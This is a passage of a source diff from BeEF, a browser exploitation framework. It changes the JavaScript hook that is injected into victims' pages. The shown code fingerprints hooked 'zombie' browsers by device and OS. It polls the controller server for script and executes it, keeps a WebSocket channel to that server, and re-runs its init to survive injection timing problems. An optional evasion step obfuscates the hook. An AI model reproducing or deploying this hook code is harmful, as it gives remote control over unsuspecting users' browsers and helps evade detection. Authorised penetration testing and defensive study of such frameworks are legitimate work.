// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
//
|
||||
beef.hardware = {
|
||||
|
||||
ua: navigator.userAgent,
|
||||
|
||||
isWinPhone: function() {
|
||||
return (this.ua.match('(Windows Phone)')) ? true : false;
|
||||
},
|
||||
|
||||
isIphone: function() {
|
||||
return (this.ua.indexOf('iPhone') != -1) ? true : false;
|
||||
},
|
||||
|
||||
isIpad: function() {
|
||||
return (this.ua.indexOf('iPad') != -1) ? true : false;
|
||||
},
|
||||
|
||||
isIpod: function() {
|
||||
return (this.ua.indexOf('iPod') != -1) ? true : false;
|
||||
},
|
||||
|
||||
isNokia: function() {
|
||||
return (this.ua.match('(Maemo Browser)|(Symbian)|(Nokia)')) ? true : false;
|
||||
},
|
||||
|
||||
isBlackBerry: function() {
|
||||
return (this.ua.match('BlackBerry')) ? true : false;
|
||||
},
|
||||
|
||||
isZune: function() {
|
||||
return (this.ua.match('ZuneWP7')) ? true : false;
|
||||
},
|
||||
|
||||
isKindle: function() {
|
||||
return (this.ua.match('Kindle')) ? true : false;
|
||||
},
|
||||
|
||||
isHtc: function() {
|
||||
return (this.ua.match('HTC')) ? true : false;
|
||||
},
|
||||
|
||||
isEricsson: function() {
|
||||
return (this.ua.match('Ericsson')) ? true : false;
|
||||
},
|
||||
|
||||
isNokia: function() {
|
||||
return (this.ua.match('Nokia')) ? true : false;
|
||||
},
|
||||
|
||||
isMotorola: function() {
|
||||
return (this.ua.match('Motorola')) ? true : false;
|
||||
},
|
||||
|
||||
isGoogle: function() {
|
||||
return (this.ua.match('Nexus One')) ? true : false;
|
||||
},
|
||||
|
||||
getName: function() {
|
||||
|
||||
if (this.isNokia()) return 'Nokia';
|
||||
if (this.isWinPhone()) return 'Windows Phone';
|
||||
if (this.isBlackBerry()) return 'BlackBerry';
|
||||
if (this.isIphone()) return 'iPhone';
|
||||
if (this.isIpad()) return 'iPad';
|
||||
if (this.isIpod()) return 'iPod';
|
||||
if (this.isKindle()) return 'Kindle';
|
||||
if (this.isHtc()) return 'HTC';
|
||||
if (this.isMotorola()) return 'Motorola';
|
||||
if (this.isZune()) return 'Zune';
|
||||
if (this.isGoogle()) return 'Google';
|
||||
if (this.isEricsson()) return 'Ericsson';
|
||||
|
||||
return 'Unknown';
|
||||
}
|
||||
};
|
||||
|
||||
beef.regCmp('beef.net.hardware');
|
||||
@@ -66,6 +66,7 @@ function beef_init() {
|
||||
beef.net.browser_details();
|
||||
beef.updater.execute_commands();
|
||||
beef.logger.start();
|
||||
beef.are.init();
|
||||
|
||||
}
|
||||
else {
|
||||
@@ -73,6 +74,7 @@ function beef_init() {
|
||||
beef.updater.execute_commands();
|
||||
beef.updater.check();
|
||||
beef.logger.start();
|
||||
beef.are.init();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
1526
core/main/client/lib/browser_jools.js
Normal file
1
core/main/client/lib/jools.min.js
vendored
Normal file
@@ -23,6 +23,7 @@ beef.net = {
|
||||
host:"<%= @beef_host %>",
|
||||
port:"<%= @beef_port %>",
|
||||
hook:"<%= @beef_hook %>",
|
||||
httpproto:"<%= @beef_proto %>",
|
||||
handler:'/dh',
|
||||
chop:500,
|
||||
pad:30, //this is the amount of padding for extra params such as pc, pid and sid
|
||||
@@ -137,7 +138,7 @@ beef.net = {
|
||||
push:function (stream) {
|
||||
//need to implement wait feature here eventually
|
||||
for (var i = 0; i < stream.pc; i++) {
|
||||
this.request(this.port == '443' ? 'https' : 'http', 'GET', this.host, this.port, this.handler, null, stream.get_packet_data(), 10, 'text', null);
|
||||
this.request(this.httpproto, 'GET', this.host, this.port, this.handler, null, stream.get_packet_data(), 10, 'text', null);
|
||||
}
|
||||
},
|
||||
|
||||
|
||||
@@ -72,7 +72,11 @@ beef.os = {
|
||||
isMacintosh: function() {
|
||||
return (this.ua.match('(Mac_PowerPC)|(Macintosh)|(MacIntel)')) ? true : false;
|
||||
},
|
||||
|
||||
|
||||
isWinPhone: function() {
|
||||
return (this.ua.match('(Windows Phone)')) ? true : false;
|
||||
},
|
||||
|
||||
isIphone: function() {
|
||||
return (this.ua.indexOf('iPhone') != -1) ? true : false;
|
||||
},
|
||||
@@ -97,6 +101,10 @@ beef.os = {
|
||||
return (this.ua.match('BlackBerry')) ? true : false;
|
||||
},
|
||||
|
||||
isWebOS: function() {
|
||||
return (this.ua.match('webOS')) ? true : false;
|
||||
},
|
||||
|
||||
isQNX: function() {
|
||||
return (this.ua.match('QNX')) ? true : false;
|
||||
},
|
||||
@@ -139,11 +147,14 @@ beef.os = {
|
||||
if(this.isSunOS()) return 'Sun OS';
|
||||
|
||||
//iPhone
|
||||
if (this.isIphone()) return 'iPhone';
|
||||
if (this.isIphone()) return 'iOS';
|
||||
//iPad
|
||||
if (this.isIpad()) return 'iPad';
|
||||
if (this.isIpad()) return 'iOS';
|
||||
//iPod
|
||||
if (this.isIpod()) return 'iPod';
|
||||
if (this.isIpod()) return 'iOS';
|
||||
|
||||
// zune
|
||||
//if (this.isZune()) return 'Zune';
|
||||
|
||||
//macintosh
|
||||
if(this.isMacintosh()) {
|
||||
@@ -156,6 +167,7 @@ beef.os = {
|
||||
//others
|
||||
if(this.isQNX()) return 'QNX';
|
||||
if(this.isBeOS()) return 'BeOS';
|
||||
if(this.isWebOS()) return 'webOS';
|
||||
|
||||
return 'unknown';
|
||||
}
|
||||
|
||||
26
core/main/client/timeout.js
Normal file
@@ -0,0 +1,26 @@
|
||||
//
|
||||
// Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
//
|
||||
/*
|
||||
Sometimes there are timing issues and looks like beef_init
|
||||
is not called at all (always in cross-domain situations,
|
||||
for example calling the hook with jquery getScript,
|
||||
or sometimes with event handler injections).
|
||||
|
||||
To fix this, we call again beef_init after 1 second.
|
||||
Cheers to John Wilander that discussed this bug with me at OWASP AppSec Research Greece
|
||||
antisnatchor
|
||||
*/
|
||||
setTimeout(beef_init, 1000);
|
||||
@@ -66,7 +66,7 @@ beef.updater = {
|
||||
get_commands: function(http_response) {
|
||||
try {
|
||||
this.lock = true;
|
||||
beef.net.request('http', 'GET', beef.net.host, beef.net.port, beef.net.hook, null, 'BEEFHOOK='+beef.session.get_hook_session_id(), 1, 'script', function(response) {
|
||||
beef.net.request(beef.net.httpproto, 'GET', beef.net.host, beef.net.port, beef.net.hook, null, 'BEEFHOOK='+beef.session.get_hook_session_id(), 1, 'script', function(response) {
|
||||
if (response.body != null && response.body.length > 0)
|
||||
beef.updater.execute_commands();
|
||||
});
|
||||
|
||||
@@ -27,15 +27,18 @@ beef.websocket = {
|
||||
var webSocketPort = <%= @websocket_port %>;
|
||||
var webSocketSecure = <%= @websocket_secure %>;
|
||||
var protocol = "ws://";
|
||||
|
||||
if(webSocketSecure)
|
||||
//console.log("We are inside init");
|
||||
/*use wss only if hooked domain is under https. Mixed-content in WS is quite different from a non-WS context*/
|
||||
if(webSocketSecure && window.location.protocol=="https:"){
|
||||
protocol = "wss://";
|
||||
webSocketPort= <%= @websocket_sec_port %>;
|
||||
}
|
||||
|
||||
if (beef.browser.isFF() && !!window.MozWebSocket) {
|
||||
beef.websocket.socket = new MozWebSocket(protocol + webSocketServer + ":" + webSocketPort + "/");
|
||||
if (beef.browser.isFF() && !!window.MozWebSocket) {
|
||||
beef.websocket.socket = new MozWebSocket(protocol + webSocketServer + ":" + webSocketPort + "/");
|
||||
|
||||
} else {
|
||||
beef.websocket.socket = new WebSocket(protocol + webSocketServer + ":" + webSocketPort + "/");
|
||||
beef.websocket.socket = new WebSocket(protocol + webSocketServer + ":" + webSocketPort + "/");
|
||||
}
|
||||
|
||||
},
|
||||
@@ -43,10 +46,10 @@ beef.websocket = {
|
||||
start:function () {
|
||||
new beef.websocket.init();
|
||||
this.socket.onopen = function () {
|
||||
//console.log("Socket has been opened!");
|
||||
//console.log("Socket has been opened!");
|
||||
|
||||
/*send browser id*/
|
||||
beef.websocket.send('{"cookie":"' + beef.session.get_hook_session_id() + '"}');
|
||||
/*send browser id*/
|
||||
beef.websocket.send('{"cookie":"' + beef.session.get_hook_session_id() + '"}');
|
||||
//console.log("Connected and Helo");
|
||||
beef.websocket.alive();
|
||||
}
|
||||
|
||||
@@ -89,12 +89,13 @@ module Banners
|
||||
|
||||
def print_network_interfaces_routes
|
||||
configuration = BeEF::Core::Configuration.instance
|
||||
prototxt = configuration.get("beef.http.https.enable") == true ? "https" : "http"
|
||||
|
||||
self.interfaces.map do |host| # display the important URLs on each interface from the interfaces array
|
||||
print_success "running on network interface: #{host}"
|
||||
beef_host = configuration.get("beef.http.public_port") || configuration.get("beef.http.port")
|
||||
data = "Hook URL: http://#{host}:#{configuration.get("beef.http.port")}#{configuration.get("beef.http.hook_file")}\n"
|
||||
data += "UI URL: http://#{host}:#{configuration.get("beef.http.port")}#{configuration.get("beef.http.panel_path")}\n"
|
||||
data = "Hook URL: #{prototxt}://#{host}:#{configuration.get("beef.http.port")}#{configuration.get("beef.http.hook_file")}\n"
|
||||
data += "UI URL: #{prototxt}://#{host}:#{configuration.get("beef.http.port")}#{configuration.get("beef.http.panel_path")}\n"
|
||||
|
||||
print_more data
|
||||
end
|
||||
|
||||
89
core/main/constants/hardware.rb
Normal file
@@ -0,0 +1,89 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
|
||||
module BeEF
|
||||
module Core
|
||||
module Constants
|
||||
|
||||
# @note The hardware's strings for hardware detection.
|
||||
module Hardware
|
||||
|
||||
HW_UNKNOWN_IMG = 'pc.png'
|
||||
HW_IPHONE_UA_STR = 'iPhone'
|
||||
HW_IPHONE_IMG = 'iphone.jpg'
|
||||
HW_IPAD_UA_STR = 'iPad'
|
||||
HW_IPAD_IMG = 'ipad.png'
|
||||
HW_IPOD_UA_STR = 'iPod'
|
||||
HW_IPOD_IMG = 'ipod.jpg'
|
||||
HW_BLACKBERRY_UA_STR = 'BlackBerry'
|
||||
HW_BLACKBERRY_IMG = 'blackberry.png'
|
||||
HW_WINPHONE_UA_STR = 'Windows Phone'
|
||||
HW_WINPHONE_IMG = 'win.png'
|
||||
HW_ZUNE_UA_STR = 'ZuneWP7'
|
||||
HW_ZUNE_IMG = 'zune.gif'
|
||||
HW_KINDLE_UA_STR = 'Kindle'
|
||||
HW_KINDLE_IMG = 'kindle.png'
|
||||
HW_NOKIA_UA_STR = 'Nokia'
|
||||
HW_NOKIA_IMG = 'nokia.ico'
|
||||
HW_HTC_UA_STR = 'HTC'
|
||||
HW_HTC_IMG = 'htc.ico'
|
||||
HW_MOTOROLA_UA_STR = 'motorola'
|
||||
HW_MOTOROLA_IMG = 'motorola.png'
|
||||
HW_GOOGLE_UA_STR = 'Nexus One'
|
||||
HE_GOOGLE_IM = 'nexus.png'
|
||||
HW_ERICSSON_UA_STR = 'Ericsson'
|
||||
HW_ERICSSON_IMG = 'sony_ericsson.png'
|
||||
HW_ALL_UA_STR = 'All'
|
||||
|
||||
# Attempt to match operating system string to constant
|
||||
# @param [String] name Name of operating system
|
||||
# @return [String] Constant name of matched operating system, returns 'ALL' if nothing are matched
|
||||
def self.match_hardware(name)
|
||||
case name.downcase
|
||||
when /iphone/
|
||||
HW_IPHONE_UA_STR
|
||||
when /ipad/
|
||||
HW_IPAD_UA_STR
|
||||
when /ipod/
|
||||
HW_IPOD_UA_STR
|
||||
when /blackberry/
|
||||
HW_BLACKBERRY_UA_STR
|
||||
when /windows phone/
|
||||
HW_WINPHONE_UA_STR
|
||||
when /zune/
|
||||
HW_ZUNE_UA_STR
|
||||
when /kindle/
|
||||
HW_KINDLE_UA_STR
|
||||
when /nokia/
|
||||
HW_NOKIA_UA_STR
|
||||
when /motorola/
|
||||
HW_MOTOROLA_UA_STR
|
||||
when /htc/
|
||||
HW_HTC_UA_STR
|
||||
when /google/
|
||||
HW_GOOGLE_UA_STR
|
||||
when /ericsson/
|
||||
HW_ERICSSON_UA_STR
|
||||
else
|
||||
'ALL'
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -15,75 +15,74 @@
|
||||
#
|
||||
|
||||
module BeEF
|
||||
module Core
|
||||
module Constants
|
||||
|
||||
# @note The OS'es strings for os detection.
|
||||
module Os
|
||||
|
||||
OS_UNKNOWN_IMG = 'unknown.png'
|
||||
OS_WINDOWS_UA_STR = 'Windows'
|
||||
OS_WINDOWS_IMG = 'win.png'
|
||||
OS_LINUX_UA_STR = 'Linux'
|
||||
OS_LINUX_IMG = 'linux.png'
|
||||
OS_MAC_UA_STR = 'Mac'
|
||||
OS_MAC_IMG = 'mac.png'
|
||||
OS_QNX_UA_STR = 'QNX'
|
||||
OS_QNX_IMG = 'qnx.ico'
|
||||
OS_BEOS_UA_STR = 'BeOS'
|
||||
OS_BEOS_IMG = 'beos.png'
|
||||
OS_OPENBSD_UA_STR = 'OpenBSD'
|
||||
OS_OPENBSD_IMG = 'openbsd.ico'
|
||||
OS_IPHONE_UA_STR = 'iPhone'
|
||||
OS_IPHONE_IMG = 'iphone.png'
|
||||
OS_IPAD_UA_STR = 'iPad'
|
||||
OS_IPAD_IMG = 'ipad.png'
|
||||
OS_IPOD_UA_STR = 'iPod'
|
||||
OS_IPOD_IMG = 'ipod.jpg'
|
||||
OS_MAEMO_UA_STR = 'Maemo'
|
||||
OS_MAEMO_IMG = 'maemo.ico'
|
||||
OS_BLACKBERRY_UA_STR = 'BlackBerry'
|
||||
OS_BLACKBERRY_IMG = 'blackberry.png'
|
||||
OS_ANDROID_UA_STR = 'Android'
|
||||
OS_ANDROID_IMG = 'android.png'
|
||||
OS_ALL_UA_STR = 'All'
|
||||
module Core
|
||||
module Constants
|
||||
|
||||
# @note The OS'es strings for os detection.
|
||||
module Os
|
||||
|
||||
OS_UNKNOWN_IMG = 'unknown.png'
|
||||
OS_WINDOWS_UA_STR = 'Windows'
|
||||
OS_WINDOWS_IMG = 'win.png'
|
||||
OS_LINUX_UA_STR = 'Linux'
|
||||
OS_LINUX_IMG = 'linux.png'
|
||||
OS_MAC_UA_STR = 'Mac'
|
||||
OS_MAC_IMG = 'mac.png'
|
||||
OS_QNX_UA_STR = 'QNX'
|
||||
OS_QNX_IMG = 'qnx.ico'
|
||||
OS_BEOS_UA_STR = 'BeOS'
|
||||
OS_BEOS_IMG = 'beos.png'
|
||||
OS_OPENBSD_UA_STR = 'OpenBSD'
|
||||
OS_OPENBSD_IMG = 'openbsd.ico'
|
||||
OS_IOS_UA_STR = 'iOS'
|
||||
OS_IOS_IMG = 'ios.png'
|
||||
OS_IPHONE_UA_STR = 'iPhone'
|
||||
OS_WEBOS_UA_STR = 'webos.png'
|
||||
OS_IPHONE_IMG = 'iphone.jpg'
|
||||
OS_IPAD_UA_STR = 'iPad'
|
||||
OS_IPAD_IMG = 'ipad.png'
|
||||
OS_IPOD_UA_STR = 'iPod'
|
||||
OS_IPOD_IMG = 'ipod.jpg'
|
||||
OS_MAEMO_UA_STR = 'Maemo'
|
||||
OS_MAEMO_IMG = 'maemo.ico'
|
||||
OS_BLACKBERRY_UA_STR = 'BlackBerry'
|
||||
OS_BLACKBERRY_IMG = 'blackberry.png'
|
||||
OS_ANDROID_UA_STR = 'Android'
|
||||
OS_ANDROID_IMG = 'android.png'
|
||||
OS_ALL_UA_STR = 'All'
|
||||
|
||||
# Attempt to match operating system string to constant
|
||||
# @param [String] name Name of operating system
|
||||
# @return [String] Constant name of matched operating system, returns 'ALL' if nothing are matched
|
||||
def self.match_os(name)
|
||||
case name.downcase
|
||||
when /win/
|
||||
OS_WINDOWS_UA_STR
|
||||
when /lin/
|
||||
OS_LINUX_UA_STR
|
||||
when /os x/, /osx/, /mac/
|
||||
OS_MAC_UA_STR
|
||||
when /qnx/
|
||||
OS_QNX_UA_STR
|
||||
when /beos/
|
||||
OS_BEOS_UA_STR
|
||||
when /openbsd/
|
||||
OS_OPENBSD_UA_STR
|
||||
when /iphone/
|
||||
OS_IPHONE_UA_STR
|
||||
when /ipad/
|
||||
OS_IPAD_UA_STR
|
||||
when /ipod/
|
||||
OS_IPOD_UA_STR
|
||||
when /maemo/
|
||||
OS_MAEMO_UA_STR
|
||||
when /blackberry/
|
||||
OS_BLACKBERRY_UA_STR
|
||||
when /android/
|
||||
OS_ANDROID_UA_STR
|
||||
else
|
||||
'ALL'
|
||||
end
|
||||
end
|
||||
|
||||
def self.match_os(name)
|
||||
case name.downcase
|
||||
when /win/
|
||||
OS_WINDOWS_UA_STR
|
||||
when /lin/
|
||||
OS_LINUX_UA_STR
|
||||
when /os x/, /osx/, /mac/
|
||||
OS_MAC_UA_STR
|
||||
when /qnx/
|
||||
OS_QNX_UA_STR
|
||||
when /beos/
|
||||
OS_BEOS_UA_STR
|
||||
when /openbsd/
|
||||
OS_OPENBSD_UA_STR
|
||||
when /ios/, /iphone/, /ipad/, /ipod/
|
||||
OS_IOS_UA_STR
|
||||
when /maemo/
|
||||
OS_MAEMO_UA_STR
|
||||
when /blackberry/
|
||||
OS_BLACKBERRY_UA_STR
|
||||
when /android/
|
||||
OS_ANDROID_UA_STR
|
||||
else
|
||||
'ALL'
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -118,6 +118,14 @@ module BeEF
|
||||
self.err_msg "Invalid operating system name returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store the hardware name
|
||||
hw_name = get_param(@data['results'], 'Hardware')
|
||||
if BeEF::Filters.is_valid_hwname?(hw_name)
|
||||
BD.set(session_id, 'Hardware', hw_name)
|
||||
else
|
||||
self.err_msg "Invalid hardware name returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store the date
|
||||
date_stamp = get_param(@data['results'], 'DateStamp')
|
||||
if BeEF::Filters.is_valid_date_stamp?(date_stamp)
|
||||
@@ -222,6 +230,14 @@ module BeEF
|
||||
self.err_msg "Invalid value for HasFlash returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store the yes|no value for HasPhonegap
|
||||
has_phonegap = get_param(@data['results'], 'HasPhonegap')
|
||||
if BeEF::Filters.is_valid_yes_no?(has_phonegap)
|
||||
BD.set(session_id, 'HasPhonegap', has_phonegap)
|
||||
else
|
||||
self.err_msg "Invalid value for HasPhonegap returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store the yes|no value for HasGoogleGears
|
||||
has_googlegears = get_param(@data['results'], 'HasGoogleGears')
|
||||
if BeEF::Filters.is_valid_yes_no?(has_googlegears)
|
||||
@@ -263,7 +279,7 @@ module BeEF
|
||||
end
|
||||
|
||||
# log a few info of newly hooked zombie in the console
|
||||
print_info "New Hooked Browser [ip:#{zombie.ip}, type:#{browser_name}-#{browser_version}, os:#{os_name}], hooked domain [#{log_zombie_domain}:#{log_zombie_port.to_s}]"
|
||||
print_info "New Hooked Browser [id:#{zombie.id}, ip:#{zombie.ip}, type:#{browser_name}-#{browser_version}, os:#{os_name}], hooked domain [#{log_zombie_domain}:#{log_zombie_port.to_s}]"
|
||||
|
||||
|
||||
# Call autorun modules
|
||||
|
||||
@@ -14,123 +14,151 @@
|
||||
# limitations under the License.
|
||||
#
|
||||
module BeEF
|
||||
module Core
|
||||
module Handlers
|
||||
module Modules
|
||||
module Core
|
||||
module Handlers
|
||||
module Modules
|
||||
|
||||
# @note Purpose: avoid rewriting several times the same code.
|
||||
module BeEFJS
|
||||
# @note Purpose: avoid rewriting several times the same code.
|
||||
module BeEFJS
|
||||
|
||||
# Builds the default beefjs library (all default components of the library).
|
||||
# @param [Object] req_host The request object
|
||||
def build_beefjs!(req_host)
|
||||
config = BeEF::Core::Configuration.instance
|
||||
# @note set up values required to construct beefjs
|
||||
beefjs = ''
|
||||
# @note location of sub files
|
||||
beefjs_path = "#{$root_dir}/core/main/client/"
|
||||
# @note we load websocket library only if ws server is enabled in config.yalm
|
||||
# check in init.js
|
||||
if config.get("beef.http.websocket.enable")
|
||||
js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js websocket.js)
|
||||
else
|
||||
js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js)
|
||||
end
|
||||
# Builds the default beefjs library (all default components of the library).
|
||||
# @param [Object] req_host The request object
|
||||
def build_beefjs!(req_host)
|
||||
config = BeEF::Core::Configuration.instance
|
||||
# @note set up values required to construct beefjs
|
||||
beef_js = ''
|
||||
# @note location of sub files
|
||||
beef_js_path = "#{$root_dir}/core/main/client/"
|
||||
|
||||
# @note construct the beefjs string from file(s)
|
||||
js_sub_files.each {|js_sub_file_name|
|
||||
js_sub_file_abs_path = beefjs_path + js_sub_file_name
|
||||
beefjs << (File.read(js_sub_file_abs_path) + "\n\n")
|
||||
}
|
||||
# @note External libraries (like jQuery) that are not evaluated with Eruby and possibly not obfuscated
|
||||
ext_js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js lib/jools.min.js)
|
||||
|
||||
# @note create the config for the hooked browser session
|
||||
# @note Load websocket library only if WS server is enabled in config.yaml
|
||||
if config.get("beef.http.websocket.enable") == false
|
||||
# @note BeEF libraries: need Eruby evaluation and obfuscation #antisnatchor: leave timeout.js as the last one!
|
||||
beef_js_sub_files = %w(beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js are.js timeout.js)
|
||||
else #antisnatchor: leave timeout.js as the last one!
|
||||
beef_js_sub_files = %w(beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js websocket.js are.js timeout.js)
|
||||
end
|
||||
|
||||
hook_session_name = config.get('beef.http.hook_session_name')
|
||||
hook_session_config = BeEF::Core::Server.instance.to_h
|
||||
ext_js_to_obfuscate = ''
|
||||
ext_js_to_not_obfuscate = ''
|
||||
|
||||
# @note if http_host="0.0.0.0" in config ini, use the host requested by client
|
||||
if hook_session_config['beef_host'].eql? "0.0.0.0"
|
||||
hook_session_config['beef_host'] = req_host
|
||||
hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host)
|
||||
end
|
||||
# @note If Evasion is enabled, the final ext_js string will be ext_js_to_obfuscate + ext_js_to_not_obfuscate
|
||||
# @note If Evasion is disabled, the final ext_js will be just ext_js_to_not_obfuscate
|
||||
ext_js_sub_files.each{ |ext_js_sub_file|
|
||||
if config.get("beef.extension.evasion.enable")
|
||||
if config.get("beef.extension.evasion.exclude_core_js").include?(ext_js_sub_file)
|
||||
print_debug "Excluding #{ext_js_sub_file} from core files obfuscation list"
|
||||
# do not obfuscate the file
|
||||
ext_js_sub_file_path = beef_js_path + ext_js_sub_file
|
||||
ext_js_to_not_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n")
|
||||
else
|
||||
ext_js_sub_file_path = beef_js_path + ext_js_sub_file
|
||||
ext_js_to_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n")
|
||||
end
|
||||
else
|
||||
# Evasion is not enabled, do not obfuscate anything
|
||||
ext_js_sub_file_path = beef_js_path + ext_js_sub_file
|
||||
ext_js_to_not_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n")
|
||||
end
|
||||
}
|
||||
|
||||
# @note if http_port <> public_port in config ini, use the public_port
|
||||
unless hook_session_config['beef_public_port'].nil?
|
||||
if hook_session_config['beef_port'] != hook_session_config['beef_public_port']
|
||||
hook_session_config['beef_port'] = hook_session_config['beef_public_port']
|
||||
hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_port']}/, hook_session_config['beef_public_port'])
|
||||
if hook_session_config['beef_public_port'] == '443'
|
||||
hook_session_config['beef_url'].sub!(/http:/, 'https:')
|
||||
# @note construct the beef_js string from file(s)
|
||||
beef_js_sub_files.each { |beef_js_sub_file|
|
||||
beef_js_sub_file_path = beef_js_path + beef_js_sub_file
|
||||
beef_js << (File.read(beef_js_sub_file_path) + "\n\n")
|
||||
}
|
||||
|
||||
# @note create the config for the hooked browser session
|
||||
hook_session_config = BeEF::Core::Server.instance.to_h
|
||||
|
||||
# @note if http_host="0.0.0.0" in config ini, use the host requested by client
|
||||
if hook_session_config['beef_host'].eql? "0.0.0.0"
|
||||
hook_session_config['beef_host'] = req_host
|
||||
hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host)
|
||||
end
|
||||
|
||||
# @note if http_port <> public_port in config ini, use the public_port
|
||||
unless hook_session_config['beef_public_port'].nil?
|
||||
if hook_session_config['beef_port'] != hook_session_config['beef_public_port']
|
||||
hook_session_config['beef_port'] = hook_session_config['beef_public_port']
|
||||
hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_port']}/, hook_session_config['beef_public_port'])
|
||||
if hook_session_config['beef_public_port'] == '443'
|
||||
hook_session_config['beef_url'].sub!(/http:/, 'https:')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# @note Set some WebSocket properties
|
||||
if config.get("beef.http.websocket.enable")
|
||||
hook_session_config['websocket_secure'] = config.get("beef.http.websocket.secure")
|
||||
hook_session_config['websocket_port'] = config.get("beef.http.websocket.port")
|
||||
hook_session_config['websocket_timer'] = config.get("beef.http.websocket.alive_timer")
|
||||
hook_session_config['websocket_sec_port']= config.get("beef.http.websocket.secure_port")
|
||||
end
|
||||
|
||||
# @note populate place holders in the beef_js string and set the response body
|
||||
eruby = Erubis::FastEruby.new(beef_js)
|
||||
@hook = eruby.evaluate(hook_session_config)
|
||||
|
||||
if config.get("beef.extension.evasion.enable")
|
||||
evasion = BeEF::Extension::Evasion::Evasion.instance
|
||||
@final_hook = ext_js_to_not_obfuscate + evasion.add_bootstrapper + evasion.obfuscate(ext_js_to_obfuscate + @hook)
|
||||
else
|
||||
@final_hook = ext_js_to_not_obfuscate + @hook
|
||||
end
|
||||
|
||||
# @note Return the final hook to be sent to the browser
|
||||
@body << @final_hook
|
||||
|
||||
end
|
||||
|
||||
# Finds the path to js components
|
||||
# @param [String] component Name of component
|
||||
# @return [String|Boolean] Returns false if path was not found, otherwise returns component path
|
||||
def find_beefjs_component_path(component)
|
||||
component_path = component
|
||||
component_path.gsub!(/beef./, '')
|
||||
component_path.gsub!(/\./, '/')
|
||||
component_path.replace "#{$root_dir}/core/main/client/#{component_path}.js"
|
||||
|
||||
return false if not File.exists? component_path
|
||||
|
||||
component_path
|
||||
end
|
||||
|
||||
# Builds missing beefjs components.
|
||||
# @param [Array] beefjs_components An array of component names
|
||||
def build_missing_beefjs_components(beefjs_components)
|
||||
# @note verifies that @beef_js_cmps is not nil to avoid bugs
|
||||
@beef_js_cmps = '' if @beef_js_cmps.nil?
|
||||
|
||||
if beefjs_components.is_a? String
|
||||
beefjs_components_path = find_beefjs_component_path(beefjs_components)
|
||||
raise "Invalid component: could not build the beefjs file" if not beefjs_components_path
|
||||
beefjs_components = {beefjs_components => beefjs_components_path}
|
||||
end
|
||||
|
||||
beefjs_components.keys.each { |k|
|
||||
next if @beef_js_cmps.include? beefjs_components[k]
|
||||
|
||||
# @note path to the component
|
||||
component_path = beefjs_components[k]
|
||||
|
||||
# @note we output the component to the hooked browser
|
||||
@body << File.read(component_path)+"\n\n"
|
||||
|
||||
# @note finally we add the component to the list of components already generated so it does not get generated numerous times.
|
||||
if @beef_js_cmps.eql? ''
|
||||
@beef_js_cmps = component_path
|
||||
else
|
||||
@beef_js_cmps += ",#{component_path}"
|
||||
end
|
||||
}
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if config.get("beef.http.websocket.enable")
|
||||
hook_session_config['websocket_secure'] = config.get("beef.http.websocket.secure")
|
||||
hook_session_config['websocket_port'] = config.get("beef.http.websocket.port")
|
||||
hook_session_config['websocket_timer'] = config.get("beef.http.websocket.alive_timer")
|
||||
end
|
||||
|
||||
# @note populate place holders in the beefjs string and set the response body
|
||||
eruby = Erubis::FastEruby.new(beefjs)
|
||||
@hook = eruby.evaluate(hook_session_config)
|
||||
|
||||
if config.get("beef.extension.evasion.enable")
|
||||
evasion = BeEF::Extension::Evasion::Evasion.instance
|
||||
@hook = evasion.add_bootstrapper + evasion.obfuscate(@hook)
|
||||
